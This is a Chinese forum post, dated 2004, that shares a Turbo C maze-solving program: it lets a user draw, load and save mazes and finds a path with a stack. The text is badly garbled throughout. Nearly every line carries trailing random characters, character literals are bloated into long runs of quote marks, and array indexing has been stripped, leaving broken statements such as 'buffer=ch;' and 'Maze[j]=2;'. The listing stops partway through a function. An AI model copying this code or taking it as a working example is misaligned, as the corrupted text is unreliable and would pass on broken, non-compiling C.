QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7682|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>( A/ X9 H& v! J% Q7 p8 y
< align=left>程序目的:
! M8 i& D  V6 \- k" p$ v输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
3 t+ M5 K! @1 p8 a  O9 E显示在屏幕上。4 G/ \! k: `; y7 p, l) {0 Y
程序实现:
- Q5 ?, k; Z5 C, Z: a1 @" r可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
% T! h! P9 |; \文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
- g. A. L8 S5 B& j1 Z$ I入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫5 d. h2 w7 d* ^) N, c0 n
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
1 A2 y: X( \$ {  l否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
  h5 ~+ P3 \5 {3 ^用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
  S/ y; P9 \* j7 q7 g- M, ~- m' A( ~将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,1 }1 G) I: ~9 @1 [# o0 [% Y1 T
找到路径时,屏幕下方会出现Path found,否则出现Path not found。. B  o5 ~5 B; L' _- I2 g4 \$ l
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
6 ]$ o* R# X& e) [& z不可以在VC上编译。
: M& M/ t. P$ o8 G/ ]# l下载DOS版和windows版的迷宫游戏全部代码" h7 }) A  c) P9 L/ Q8 I
用户名:migong % K  O, t/ Z1 ^* H3 ]
----------------------------------------------------------------------------------
% l- G- a- G" b/*2 e9 \7 Q8 y$ W' d6 }& K( ]# q7 R* i
MazePath Demo BY Turbo C 2.0
' r9 `5 X. m% `* C( oCopyright(c) RoverUnion. All right reserved.8 P7 r. T8 n% y3 b9 [3 `
Filename: Maze.c  o' ]4 m; C5 C
Author Dongchengyu.9 h$ L- t# p& I8 N% \: g
Ver 1.10
, e( j4 h' X) a! q*/% Y! |$ ]. X9 W3 \4 v- N
#include &lt;stdio.h&gt;4 ?1 h" V  `! V0 D1 Q( d8 I1 \
#include &lt;stdlib.h&gt;8 F4 H# k* h/ }) B8 m
#include &lt;malloc.h&gt;' r8 J7 t% t1 O  r4 M, M$ a" O
#include &lt;conio.h&gt;9 h) h6 K. p' R: o
#include &lt;dos.h&gt;0 S( o4 L# T& {, L: i8 D9 H4 d
#define OK 1+ H" b: Z( u( y9 s2 K
#define ERROR 0
9 w: z& Q1 x: F# i& [6 m7 A#define TRUE 1& F, w( p. f! f" W5 m" l+ J
#define FALSE 0/ ^) ~' Y  F* F1 |) [+ j8 y2 o
#define F9 0x43) M( c4 E/ r; I! I: W
#define Esc 0x1b
( ?0 s7 k1 j" f#define Del 0x53
5 \) R2 ?, ~: Z5 R1 H7 a#define Home 0x47$ C. C: k% k1 o
#define End 0x4f
- e3 U# p! W$ H' X#define Space 0x20# w% C0 A5 ~$ n, |5 h3 f
#define Up 0x48
- c3 U$ R0 }2 ?# p5 u/ n3 ?#define Down 0x50+ r  Y4 p+ N; z* U8 g
#define Left 0x4b
# m: V, C# j2 R9 _5 N6 \#define Right 0x4d
( Z- ~. v" N! `+ i#define Enter 0x0d
% s& {) H$ q' J& O$ e! {#define F2 0x3c: m; F- g' \9 e/ V, i6 ?- m5 v" I6 j
#define F3 0x3d
1 V: s0 J; q" a7 Z, u#define STACK_INIT_SIZE 200
/ Y) k1 m5 b" x# D#define STACKINCREMENT 10# K. x: B$ b* q* W
typedef int Boolean;9 ~6 o! s, U% F* I2 U# j- M: u
typedef int Status;' l' F, v" ^( x$ _* d5 d" z  D) j9 _/ y
typedef struct {
4 S# \4 R4 v/ eint x;7 N- T; c8 f2 b. U
int y;8 z% U- L% u( t4 n; W0 z
} PosType;% M. T8 m3 H# f7 U, _) J0 W0 C
typedef struct {1 p; ~1 p' W% [( w. k( N, A
int ord;6 Q6 x: A5 h9 D* H- K6 x
PosType seat;3 T; W5 q1 o. I/ h7 U4 W" E0 b
int di;
0 \; h7 z* }1 e( d5 {6 m" x} SElemType;$ D* c* J1 H8 S7 i" k
typedef struct {
7 H2 s. A" g: f. \) |, k# A0 iint td;
6 x4 J7 _% L9 R4 k4 w9 U; }( N( }  nint foot;9 b& K! }6 q4 h# S( m
int mark;$ E* n7 r8 i% c4 ~2 t" t
} MazeType;' q5 Q& P4 W) h" K7 E  L7 v7 h% `6 a9 q
typedef struct {7 ^; [# E$ U0 x" [
SElemType *base;% ^/ F: K0 D4 n
SElemType *top;7 z5 n# s, r) y7 m- T
int stacksize;# Z) Y' s/ S5 E
} Stack;
0 i1 M! C' a" k: Rint Maze[20][30];, p; }+ b' H% L( E
MazeType maze[20][30];2 w+ w" A. U* t# P0 M. I3 \% L
PosType StartPlace;1 t- K5 Q6 {* L6 A/ R- R+ D1 g
PosType EndPlace;  W2 R; Y$ Q5 Y, Z
int count;% K2 t) F( `3 v/ L5 ~
int m,n;& e3 ]' C, `- v0 y% x: ~+ w
Boolean b_start=FALSE,b_end=FALSE;. ^# p* W9 t4 A5 t3 h
void CreatMaze(void);
4 J+ R7 v1 ?* BStatus SaveMaze(char *filename);. {% F0 b" s' Q( F$ t9 M' O% }) a
Status LoadMaze(char *filename);
; C- Z7 E1 R9 E6 x" V& qvoid Error(char *message);
' J' T; ?- @2 Y& `  P$ M+ R: _Status InitStack(Stack *s);
! C! p+ k: r2 B2 _4 dStatus DestroyStack(Stack *s);
" A- h, Z% n3 uStatus ClearStack(Stack *s);
+ U* }$ C0 R6 \# k; _$ oBoolean StackEmpty(Stack *s);1 k8 z; V; X9 y% r8 d) A* W. w% x
int StackLength(Stack *s);
7 B2 l( G) I* C+ L! X- }/ h4 UStatus Push(Stack *s,SElemType e);
6 M: q0 K, R, s: RSElemType Pop(Stack *s,SElemType e);& }3 b# f/ _6 V0 c" D& a& e( v
Status GetTop(Stack *s,SElemType *e);
" _% s: M/ r  zStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
9 G3 t; A, {4 a. J4 ~$ K/ g7 \- RBoolean Pass(PosType curpos);
+ U; k) t/ B- z: gvoid MarkPrint(PosType seat);8 I7 D! z; A9 g" x( o% ^
void FootPrint(PosType curpos);/ ]4 r' `' s  `4 X, G9 y
PosType NextPos(PosType seat,int di);' ^* q5 u' B( u1 J3 W) }$ l
Status MazePath(PosType start,PosType end);
& s+ `- q: {9 [  M2 avoid CreatMaze(void)6 F& B$ T& d; M/ E! `& V. J9 O! R
/* Form the maze. */4 U: R- z, r; K' j1 D( i7 S& E
{
. w2 [( S0 I$ x  Z0 u  }void Error(char *message);
: _$ q( H& M3 H5 Q" {Status SaveMaze(char *filename);
4 j2 I2 U. m! S3 I1 wStatus LoadMaze(char *filename);
/ O( r, t. l3 w# ~) Bint i,j;. D9 g+ x! _/ r4 t' e7 N5 K
int x,y;
8 y/ M2 S  h( ~: T2 }char c;1 w; }; ?+ E! r; M
char savename[12],loadname[12];
9 \6 Y$ M5 N2 o% [+ h2 Z/ CBoolean flag=FALSE,load=FALSE;
$ ^2 B4 W: s% g% D* U$ X$ O9 R3 P1 Fclrscr();( v, }% s. a0 d! r6 t  K) p2 }
printf("Menu:\n\n");9 q; b+ d; i+ b# `2 B' V
printf("1.Load Mazefile*.dd)\n\n");5 k! ~7 l& n, J' ]  M8 G1 h
printf("2.Input Maze:\n\n");
( s" F; B4 F( _printf("Input your choice: ");$ v. V5 [, U& _: v
do( b1 K. g* v* l, M
{) ?3 _9 X- ]0 W' M; b4 B
c=getch();8 ]* P+ a/ i0 ]3 T
switch(c)
, O% s: b% m& D0 A7 o{
; e) S  j: e/ j' ~/ H/ o4 wcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
. ?+ ]  j: H  p/ ?- R- A* I% ^case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;# E: U' i3 Q0 A$ w" [- e) W
case Esc: sleep(1); exit(1);% }2 f9 ]9 U% L) Q4 G; f+ G
default: break;
$ p0 t+ I& t' O/ [& X}  c, C( h+ @+ u4 c) v6 d$ W# D3 h0 _& x
}# }- J* ]; |) Z5 f2 }* b/ i2 [
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;3 T' m8 P/ |: Z; c9 I" ^
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
2 g/ e" {8 c3 Y$ w& ?{
% [6 B9 v7 r2 R7 W3 zprintf("\n\nLoadName: ");
& ^( d- H' \' ~) Hscanf("%s",loadname);
- @7 ^2 B) ]( b5 }# @. Z/ f3 Fif(LoadMaze(loadname))5 F, N7 _* f8 r' |
{8 P- I. k3 I; v) O, o  L2 J3 V+ T
sleep(1); load=TRUE;; R" U5 i+ n+ Z$ j! Q1 x
}
. m- ~; x- h& ]3 eelse { gotoxy(1,9); printf("Load fail! "); }3 V! o8 M& e4 y7 R, y4 R7 M* o
}
$ c! `4 U, a8 R3 vif(!load)
& [" Q9 g. Q0 o5 P6 i* G' ]/ X{
" U8 W. }: e% D4 K/ H+ aprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");3 J! _! J/ X# ]: ~) m. H
printf("\nInput Length :\n");2 m4 Z# e1 {/ h: q/ K+ U6 h
scanf("%d",&amp;m);
- Y7 Z2 o4 A. a  o! f5 E! Tprintf("\nInput Width :\n");
6 Q1 i, L; j/ z8 p: m3 f2 C1 [! U- bscanf("%d",&amp;n);
& K% Z$ y: o( U3 K1 Rif(m&lt;4||n&lt;4) Error("Input");7 m' Y+ f3 c& N8 G
if(m&gt;30||n&gt;20) Error("Maze too large");; s5 V! S8 z8 |
for(i=0;i&lt;30;i++)" R$ K) ^: G- r( p
for(j=0;j&lt;20;j++)
: K3 N" o2 O) FMaze[j]=2;* s1 J9 m: h# W
StartPlace.x=0;0 [. ?/ b/ i- X; n/ p# C- V( X
StartPlace.y=0;
" C4 F( X# Q5 oEndPlace.x=0;) W& m( S( ?. T+ o
EndPlace.y=0;
$ m/ F, w! A4 e5 }6 Yclrscr();. |% ~1 j0 c! b! d$ M5 @
printf("\n");, D. h- _( p% ^7 Y
for(i=1;i&lt;=n;i++)
0 x0 O4 S9 U) |5 Y8 K{
9 r: @* q6 g  ~+ @for(j=1;j&lt;=m;j++)& j" D- v3 G) K/ A0 E
{. K# K! q: ?5 `4 O" ?
printf(" #");
' w1 n7 C. {+ a; b# PMaze[i-1][j-1]=0;' _# S8 V) J+ S# e% s0 P) I- n
}
& \# l3 e/ ]* gprintf("\n");4 S8 E6 Y. B1 X* w3 p* r
}
" u1 @# c* p3 ?1 Q+ D" ?8 b}5 `; V# [% y2 P/ f2 ^3 x9 U# ?
gotoxy(65,5);
+ k& r# t" ], `  u( tprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
7 x3 f; m8 X% P8 J& K2 igotoxy(65,7);
5 Y  @- r2 Z( }5 Cprintf("Start:Home");
4 h! C$ A9 k- }* g/ w8 j$ k9 R8 O4 Pgotoxy(65,9);
" v0 f" t+ _6 b# G3 u0 p8 w: D; tprintf("End:End");  ?: k1 Y( d8 l0 @% e/ l
gotoxy(65,11);
1 m+ d/ W9 C9 ]printf("Delete Wallel");
4 }0 i- j5 v4 W3 i( n. Pgotoxy(65,13);4 x. H! a# ^% v
printf("Enter Wall:Enter");5 K. H7 V8 l5 F# d
gotoxy(65,15);
5 H* \0 G# e) x9 R% o6 Lprintf("Save Maze:F2");1 ^+ N. }, W8 W# s/ H1 B$ d
gotoxy(65,17);  r& T/ [8 l7 [# q/ y' h
printf("Complete:F9");
2 O( P# D, i5 @- Lgotoxy(65,19);
, t" h9 E3 p2 O8 Zprintf("Exit:Esc");
" P; o' a8 m' Q! [8 F% cgotoxy(4,3);
! r6 s& V; a3 k% X" {* ^x=4;y=3;* Y6 ^3 ^* _9 Y9 {8 k* B
do
8 q' ?1 Y* f# ^' i3 ?5 w{  _7 D6 W) z2 b; v
c=getch();
* T7 g: Q) p6 |6 V" jswitch(c)
( z/ C- K! A' d! v8 w, h% @& z5 w  c{, L+ S; s; K3 s* t6 v, T
case Up: if(y&gt;3) { y--; gotoxy(x,y); }2 @8 N0 w6 p2 w" h- j
break;
  e0 g/ E- L1 B7 o2 Q" ]* ^* R! Scase Down: if(y&lt;n) { y++; gotoxy(x,y); }
6 K6 f" _7 v3 i* Ebreak;( \6 m- |& ]( T2 f  K! Z! q  F5 e
case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }/ R: w! p& o8 A% ^+ @, f9 n/ R$ V7 g
break;
& ~4 e" @; q. F3 \' ucase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
0 Q5 `2 z: b' Jbreak;
+ W+ }7 |) ^6 s9 q3 lcase Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;9 e( O- U! C2 s9 J5 w2 w% a
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;9 `9 h  j, _9 X. M0 c# F$ d
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
! Y- Q( C( X- pbreak;+ k4 z3 `% Q! {1 N/ w! J. z
case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;: g; A; `4 f9 |8 t: K# L
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;" [6 U% j0 {0 h7 }& U$ `
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
6 q. V  y/ Y  x. |( @# cbreak;4 J- [/ t0 e% F4 n% H0 I
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)$ Y7 l3 @2 n9 l& F* x: M. v( m/ ^
{
! \. k# t+ e4 I. A7 u4 }StartPlace.x=x/2-1;5 j; k/ A: N, v+ J
StartPlace.y=y-2;
! E6 J9 A, i; i6 Iputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
, {& O1 N4 a+ z" b$ `gotoxy(x,y);
) h" c# \. I, {- K, j* e; `b_start=TRUE;+ o1 Y: J& G4 J# m2 K
}% D" J5 t* F1 X$ _4 _: k+ |9 T% Q
break;
( B1 C7 p" v8 g7 K: l' I6 ucase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)8 G& K1 x4 z- Y% U/ @, y
{
! K- A1 f3 {: I% R: y+ j/ n. wEndPlace.x=x/2-1;
( k6 T$ s# Q- `+ G6 r) ZEndPlace.y=y-2;
8 M+ N% }4 [+ T0 Gputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
7 Q: ]* q% X2 c0 Tgotoxy(x,y);$ v7 m9 h$ x* p6 }0 ?
b_end=TRUE;
$ E# w- K# t# i, ~: Z}2 b6 u7 J9 n, j8 w7 T( ^
break;, w) Q1 t, s" ]+ Q6 O
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
$ _: J$ B/ K" Zcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
6 F; ^& Z* @4 s+ @% y3 \9 l" ^case F2: gotoxy(2,22);
% |% e7 A) r5 Gprintf("Savename:");6 I& D& x0 e5 S0 }9 U
scanf("%s",savename);
3 H) M, a3 K' e. igotoxy(2,22);
7 b! s$ _, _1 C( W5 i+ ^3 Iif(SaveMaze(savename)) printf("Save OK! ");; ?/ z# k- u, l
else printf("Save fail! ");
: A4 E) f0 V+ F( c8 ?$ I% F5 W& bsleep(1);+ o. S/ s2 V0 x! x6 L* J
gotoxy(2,22);
3 F: O, g, O5 A4 u* ], l# iprintf(" ");! `+ p/ K( x. w( k. [( ~; P. B) S( p
gotoxy(x,y);' R; S3 _5 O. o
break;
% {  K$ J7 p  f' D6 q6 i7 C/ _default: break;
7 x5 W! W# s3 z4 n  H# B}
7 o  t+ f) E$ p* O* x# \}. P' d+ ]7 H+ x" @. n. |( a% K
while(!flag);
! q- n6 {. ?5 Z  Pfor(i=0;i&lt;30;i++)1 |+ k- \/ D  V( F) c7 g
for(j=0;j&lt;20;j++)
& T& o1 @! E, z4 Y- v9 M) U: [& N" ^{: J3 u2 Z+ a1 X' X' p: ^0 d) X
maze[j].td=Maze[j];, A# V$ v% R% S* P" Q+ {$ f+ z6 |
maze[j].mark=0;9 E9 F2 ]8 ]. e
maze[j].foot=0;
( L! x$ F* |* K}7 u7 i! k/ C- L& {
}9 f! o! u7 x% B4 ]
Status LoadMaze(char *file)# d) V- E+ l, P3 x% M
/* The maze has been loaded. */0 a: U& |2 `) O0 F
{6 w5 N9 g5 `& {
FILE *fp;3 |. \8 W5 `9 t& ~7 R* X) N1 E( Z
char *buffer;% u: y! O0 j9 h7 ?8 c9 h4 j5 V
char ch;2 t5 Z3 I6 o; c2 o) Q4 L
int i=0,j,k;
  L  i8 h( M3 m9 g8 X' U! fBoolean len=FALSE,wid=FALSE;+ e( a% n+ F) N  F
if((fp=fopen(file,"r"))==NULL)
4 _: z/ ~* e( V) M& @return ERROR;
# f% o& C# ]! O& D; H3 J* Ubuffer=(char *)malloc(600*sizeof(char));( O) f& q: O) k9 Q' b- h1 Z
ch=fgetc(fp);2 ~/ G( A* f4 m" Y  z7 h
while(ch!=EOF)6 O, c) F/ e- T* o3 c0 a# s2 q: p" Z
{, o5 D% g3 q" w  }& F: e
buffer=ch;, M% A) @$ C& y% D- L. \& _
i++;3 v% T. \! ?: J9 v
ch=fgetc(fp);
5 n+ N3 a: H# P5 n% ~}4 Z  |9 j) ^" W9 l& T7 s6 ~' X: T# X
m=30;n=20;
: q2 g* Y+ O1 U; D" \' pfor(i=0;i&lt;600;i++)$ ^( \% |5 i& G+ _+ X6 c; z
{
. A2 p! L  {5 s& m1 n; d0 nj=i/30; k=i%30;/ I" [2 ~1 E) ?
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
- P, g! |+ H$ }  a% dif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }: _$ K/ x& D; U" b2 b; j
switch(buffer)" v0 _: m' L2 H6 u
{
4 }' B# J# g' M1 t* y( e) w( p6 zcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;% m/ z$ b& s* m9 n, S% x7 X
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
7 a2 a: \. {! Lcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;0 V$ @" R8 d% _# G/ X" D; x; ?7 m
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
  S, R" K, F) r4 b- h: b2 bStartPlace.x=k;
5 Z5 ~2 {$ y# `7 PStartPlace.y=j;8 J  {9 w! f5 U0 i/ e/ S* f. r
b_start=TRUE;3 m- `# N0 b9 T. S! r
break;( Y* ~2 j& @) E+ M! z: J5 F2 q
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;4 p2 a8 R( @5 [( i) p  O' n" W
EndPlace.x=k;  V9 u* U) J' S. ?( H. C1 {
EndPlace.y=j;4 Y* t0 ?4 B0 a+ m
b_end=TRUE;3 }. Z! {) U/ l8 N% F  U, I
break;9 g  c$ K& Q' ~2 \) c0 c! G8 K
default : break;8 P9 R/ N+ \$ @, ^# w" T1 [! W) j: k
}
) {9 S/ `' l5 A) Y# _8 z0 l}
2 O7 O9 U1 ^( c6 \' [/ cfclose(fp);
7 ?) Y" q2 K. _" i5 c. _+ f) R" Eclrscr();
6 v, x* L8 P" V1 C3 w$ mfor(i=0;i&lt;30;i++)
/ p( G, C9 m; e$ _( M  P/ d$ ^, gfor(j=0;j&lt;20;j++)2 j7 R" v0 D; e2 D
{
( X8 v* S8 {  x5 ~3 l7 Jmaze[j].td=Maze[j];
- Y# z! ]1 E" u/ Y* l, F: [maze[j].foot=0;. ~# r! M: `$ R( M# ]
maze[j].mark=0;
3 ?' A: G7 k+ T0 Bif(Maze[j]==0)7 a8 [2 P5 n, ?4 \2 _7 ]9 n
{: |1 T; s9 Q5 E7 a. }
gotoxy(2*i+2,j+2);
% |; k6 j* H% ~; ?* |7 wputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
2 P2 ^+ P" {! @- A3 @}
/ d1 |* \* Y# w  J& S}1 Y4 M' t2 ^2 m) R+ b$ q
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
5 L3 j6 a# s6 `- b; |putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');8 B: i2 E$ e% N8 {
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
3 g$ P( l: w7 N; q& pputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');( O  H1 r8 q; D7 ^
return OK;& X7 y7 H+ o6 \8 N' e  [
}
! @" m" F6 {3 H/ d  jStatus SaveMaze(char *filename)2 O. O" F+ G8 t4 v6 ^* Y
/* The maze has been saved. */+ y6 }2 x+ J8 n$ U  I5 g9 I. H
{
' T" I' R, {  b6 P. K# m/ EFILE *fp;5 n; \$ y0 D6 D  o2 \" k
char *buffer;) K6 K) Z, W* |
int i,j,k;
9 Y$ E* k6 V, Sfp=fopen(filename,"wb");' I+ w" r1 n. ^
buffer=(char *)malloc(600*sizeof(char));
9 L7 @' d) @2 R" E+ q1 L- Afor(i=0;i&lt;600;i++)% U5 l6 s( W* c7 z' ]
{( [  y( `$ b2 [
j=i/30; k=i%30;4 Y0 {) m5 x1 ^& F3 `7 G. p
switch(Maze[j][k])8 _* v1 d! a/ h# I6 y3 o
{
! C. r% q  N! O. f# j$ mcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;- C. v; a! {% X2 D2 ?+ U% s0 f
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
4 j0 i# c) E" J8 vcase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;9 H3 c; K. T" R* W6 R  [
default : Error("Write"); break;. ^4 v: x3 i. d" @7 T7 B8 m  y
}
& L9 \2 c& J( \4 u7 A' s5 Aif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';, ~) k% p! |( o0 X- Q; U9 T) |9 p
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';6 O! w2 A( m, o$ p  C* y6 I
}
3 J7 }/ e. Y3 o$ T8 ?8 m- R& F+ Bfwrite(buffer,600,1,fp);
9 e) X8 X! j; |+ _2 Tfree(buffer);* P+ J) D7 C. W& V, i6 W
fclose(fp);  c" E# f* m9 N4 Y0 {: [" T. U
return OK;
- G; j0 o8 a, k0 J}  K6 j8 X  \7 q
void Error(char *message)6 w$ i+ R* Q, f& X
{
  [# V! U+ X' ^/ s6 Pclrscr();
( v. j4 v4 T2 t3 f$ D8 Wfprintf(stderr,"Error:%s\n",message);1 z9 E4 v% D, `6 Q( R4 E
exit(1);
" K4 x+ Q, }  N. I} /* Error */
8 a3 @" I  q/ y) ?7 r1 |( [6 \! ~* d0 D3 z
Status InitStack(Stack *s)& x3 N8 P' r; d$ Q% |, R& H
/* The stack s has been created and is initialized to be empty. */
$ p, A/ u: W* C' ^, Y8 ^! O, c{9 [) `) J( ]: R! U+ @
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));  u% f( e+ H; d# K- C# O5 K
if(!s-&gt;base) Error("Overflow");1 e3 `: c$ A1 k" n9 D
s-&gt;top=s-&gt;base;
3 x2 o, D* t2 o6 D$ as-&gt;stacksize=STACK_INIT_SIZE;
* e1 p2 _) c/ r* Xreturn OK;1 P/ z4 ^3 k7 @
} /* InitStack */
' s) i0 ^3 f! `; f4 x: ^Status DestroyStack(Stack *s)
: D. |, u2 a1 F. Y! I* V. j+ l' ~/* The stack s has been destroyed. */
2 y' C) S- d. V0 w3 e{7 i8 L* b3 H3 V" ~
s-&gt;top=NULL;
: A, ^" Y* c! B; T7 T6 S+ |7 |s-&gt;stacksize=0;4 J  x; x' Q" M; h( }# l, W
free(s-&gt;base);
9 {, q8 O% o6 A- O5 L- M$ g* Ls-&gt;base=NULL;
$ R; Y# ~  M: f- y* B! Sreturn OK;) @) u* B  _1 v( B0 J2 b# O9 d
} /* DestroyStack */
- D# l' A* v) r! `) e6 SStatus ClearStack(Stack *s)
" l. G+ ~$ l+ V) |. o/* The stack has been clear to be maximum. */7 @7 Y. B$ A0 Y$ i, K
{
7 @7 c5 ~. Y$ [0 S: ds-&gt;top=s-&gt;base;
! o9 V+ S% h4 t0 F6 S- t* Ms-&gt;stacksize=STACK_INIT_SIZE;
, P0 c# |) {2 i1 f7 J* a  qreturn OK;" X2 B. G, H' l2 A  r9 b9 j
} /* ClearStack */
* A* C, _2 {) f( ?3 u  B. kBoolean StackEmpty(Stack *s)0 r! K7 y4 u# Z
/* Check if the stack s is empty. */
5 U4 Q8 p# c6 W& D6 X( Y{- w- h& p5 }  [3 F: h: z
if(s-&gt;top==s-&gt;base) return TRUE;) l9 Y0 j, b: p1 D: F
else return FALSE;8 J9 z" {3 \& v6 W" ?/ v8 a
} /* StackEmpty */5 w4 K  {  Q: T/ x/ w6 q, R' W# `
int StackLength(Stack *s)" ^3 I' i6 _' @; \- y, ?; Q
/* Gain the length of the stack s. */
7 D7 r+ }' ~$ B3 l: I{
# v% \" G; O5 L% c+ eif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);0 k5 ?: i9 y3 a  u6 S. K: L) Y
else return 0;; P+ \5 t! d7 {# A9 J
} /* StackLength */
$ e' y2 b6 r; A  R; ?6 s/ gStatus Push(Stack *s,SElemType e)
! l2 v% O6 G; o6 h3 a4 }% q/* The element e has been pushed into the stack s. */
; b5 Q4 m: X$ c+ v# k2 |{8 @0 \8 N! X6 L# t
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize), T+ m, O  k2 p/ N! `; f& }
{
; C' K8 t( A8 ?" ~; m$ Y$ `s-&gt;base=(SElemType *)realloc(s-&gt;base,% W5 x1 \' V/ b( ^$ `, J
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));+ A# R8 o, Q5 x! y4 m
if(!s-&gt;base) Error("Overflow");
8 V- Y  D: P4 as-&gt;top=s-&gt;base+s-&gt;stacksize;% {6 ~' q. {3 n0 |  H
s-&gt;stacksize+=STACKINCREMENT;* l; _, c3 G+ t. V* _
}
; M4 B( {$ j" {5 A* O7 Z( ?% i*s-&gt;top++=e;
+ V2 u% q& A: ureturn OK;& }% s; U2 y( Y9 m- K: i/ G
} /* Push */" ^' d2 U3 v6 k: {
SElemType Pop(Stack *s,SElemType e)
  i7 D! g+ \- O/* The element e has been removed from the stack s. */0 O7 o  ^; l+ N/ U
{# u- |1 P6 ~/ c3 P
if(s-&gt;top==s-&gt;base) Error("op");
: ]+ |) F& A3 K; h$ Be=*--s-&gt;top;
: |7 \4 j  G  [9 s7 v5 o' Yreturn e;0 L/ C4 Y& q& T1 k- w% |
} /* Pop */
' m( T2 A$ ~3 N/ eStatus GetTop(Stack *s,SElemType *e)3 Z$ E; o* i: b8 ^, I$ t
/* The element e has got to the top of the stack s.*/
0 V0 \) A6 V$ Q# X- z  O7 Z2 q' ]) k{4 U+ P  r- x  c
if(s-&gt;top==s-&gt;base) Error("GetTop");
: h0 I) Y) E* j* x  i$ W  ?6 j*e=*(s-&gt;top-1);
/ |3 ^$ G& i. h6 [3 D" vreturn OK;5 }! S3 Z- l  S. n3 C* _
} /* GetTop */$ x2 M' l7 B* o, o: P/ t9 }5 y
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
! N: h3 A3 }3 Y2 Z' w' j/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se)), d* E# M( N3 S& l, a  ~7 ]
{
2 m: ]5 a/ N- n+ s& hSElemType p;8 C+ ]4 J. M% y
int result;8 G$ Y# O2 v6 k$ i. V
if(s-&gt;top==s-&gt;base) return ERROR;' H* {  E' M1 x$ y4 z! G# ^# I9 @: \2 m
p=s-&gt;base;% O& f* w1 \8 m( ]4 {) v1 F; d
while(!(p==s-&gt;top))
; v# b( t. Q2 a: K{, x) c; x" |* q5 Q, _3 X
result=(*visit)(p);: H) r* k' J; [1 z- z4 d* Y% A
p++;4 v, f0 j3 }8 `7 k! \, b- T
}
3 R6 c6 D* f( E7 y: ~8 {return OK;
' J8 @4 [. P& j; Z  ^} */
6 T6 b3 y% b7 C' ~Boolean Pass(PosType curpos)
. ^- [6 ~' Y2 X5 }) c. x/* Check if the current position can be passed. */# `3 L) J( l, l& M, ~  @& t
{# S8 ?1 B3 K. H1 q$ p% h
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
